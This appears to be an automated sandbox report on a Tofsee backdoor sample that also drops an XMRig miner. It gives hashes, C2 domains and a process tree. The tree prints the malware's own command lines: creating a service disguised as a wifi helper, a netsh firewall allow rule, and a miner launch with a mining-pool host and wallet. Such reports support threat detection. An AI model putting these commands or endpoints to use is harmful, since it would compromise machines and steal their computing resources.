Analysis

  • max time kernel
    154s
  • max time network
    158s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    21/12/2022, 11:08

General

  • Target

    7727c5ec6a569c9ae2a1d0a0deca65c4be6fd0e484878adac9f6688c660ebde8.exe

  • Size

    242KB

  • MD5

    29c111a0abf79b7d5877410410bbea08

  • SHA1

    66d37afc9bd3e644018787dbfd3aeeb38808d9b0

  • SHA256

    7727c5ec6a569c9ae2a1d0a0deca65c4be6fd0e484878adac9f6688c660ebde8

  • SHA512

    63ebf1c7bb3568e35ed97d64b455cb2e125d8e196a6a357436ba81b098cc7b079bf527b11d597015237da5e519ced72189107525587d5da0e0864493ff6386a7

  • SSDEEP

    3072:QaOpULd0XBuF55o8jyG59Pv+dz7I48mxniPALW4P84n7moi79cNQK1+eJV5u48:6eL6xFM6nz8mxniuW857xixeRu4

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7727c5ec6a569c9ae2a1d0a0deca65c4be6fd0e484878adac9f6688c660ebde8.exe
    "C:\Users\Admin\AppData\Local\Temp\7727c5ec6a569c9ae2a1d0a0deca65c4be6fd0e484878adac9f6688c660ebde8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zpsppmws\
      2⤵
        PID:5104
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fuifyead.exe" C:\Windows\SysWOW64\zpsppmws\
        2⤵
          PID:3948
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zpsppmws binPath= "C:\Windows\SysWOW64\zpsppmws\fuifyead.exe /d\"C:\Users\Admin\AppData\Local\Temp\7727c5ec6a569c9ae2a1d0a0deca65c4be6fd0e484878adac9f6688c660ebde8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zpsppmws "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zpsppmws
          2⤵
          • Launches sc.exe
          PID:3444
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1492
      • C:\Windows\SysWOW64\zpsppmws\fuifyead.exe
        C:\Windows\SysWOW64\zpsppmws\fuifyead.exe /d"C:\Users\Admin\AppData\Local\Temp\7727c5ec6a569c9ae2a1d0a0deca65c4be6fd0e484878adac9f6688c660ebde8.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3560
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5028

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\fuifyead.exe

              Filesize

              12.4MB

              MD5

              26cab7b468bb66e9a59672fa920a2ca0

              SHA1

              3314daf473121402bb3c3669e74ccef0e5f31a0f

              SHA256

              ba3d62efbcca0e9435fef6cab433bfb8f4456c8f3149356330effc400af05ebd

              SHA512

              1a6684e5db794461654b9b04102acfe67be469e762f656394262e395ea49477c2ca2f96d1023c2751ed0093014e51c39264d11ab9d2382b124a2f22fbd61c179

            • C:\Windows\SysWOW64\zpsppmws\fuifyead.exe

              Filesize

              12.4MB

              MD5

              26cab7b468bb66e9a59672fa920a2ca0

              SHA1

              3314daf473121402bb3c3669e74ccef0e5f31a0f

              SHA256

              ba3d62efbcca0e9435fef6cab433bfb8f4456c8f3149356330effc400af05ebd

              SHA512

              1a6684e5db794461654b9b04102acfe67be469e762f656394262e395ea49477c2ca2f96d1023c2751ed0093014e51c39264d11ab9d2382b124a2f22fbd61c179

            • memory/388-187-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-159-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-150-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-124-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-125-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-126-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-127-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-128-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-129-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-130-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-131-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-133-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-134-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-135-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-136-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-137-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-138-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-140-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-139-0x0000000000560000-0x00000000006AA000-memory.dmp

              Filesize

              1.3MB

            • memory/1776-141-0x0000000000560000-0x00000000006AA000-memory.dmp

              Filesize

              1.3MB

            • memory/1776-132-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-142-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-143-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-144-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-145-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-146-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-147-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-148-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-149-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-161-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-151-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-152-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-153-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-154-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-155-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-156-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-157-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-158-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-116-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-122-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-160-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-120-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-163-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-164-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-165-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-166-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-117-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-215-0x0000000000400000-0x0000000000466000-memory.dmp

              Filesize

              408KB

            • memory/1776-118-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-119-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/1776-162-0x0000000000400000-0x0000000000466000-memory.dmp

              Filesize

              408KB

            • memory/1776-121-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/2964-181-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/2964-186-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/2964-188-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/2964-183-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/2964-182-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/2964-180-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/3560-331-0x000000000062C000-0x000000000063D000-memory.dmp

              Filesize

              68KB

            • memory/3560-333-0x00000000001D0000-0x00000000001E3000-memory.dmp

              Filesize

              76KB

            • memory/3560-336-0x0000000000400000-0x0000000000466000-memory.dmp

              Filesize

              408KB

            • memory/3560-483-0x0000000000400000-0x0000000000466000-memory.dmp

              Filesize

              408KB

            • memory/3948-175-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/3948-178-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/3948-173-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/3948-176-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/3948-174-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/4412-484-0x0000000002FE0000-0x0000000002FF5000-memory.dmp

              Filesize

              84KB

            • memory/4412-398-0x0000000002FE0000-0x0000000002FF5000-memory.dmp

              Filesize

              84KB

            • memory/5104-168-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/5104-169-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/5104-170-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/5104-171-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB

            • memory/5104-177-0x0000000077C40000-0x0000000077DCE000-memory.dmp

              Filesize

              1.6MB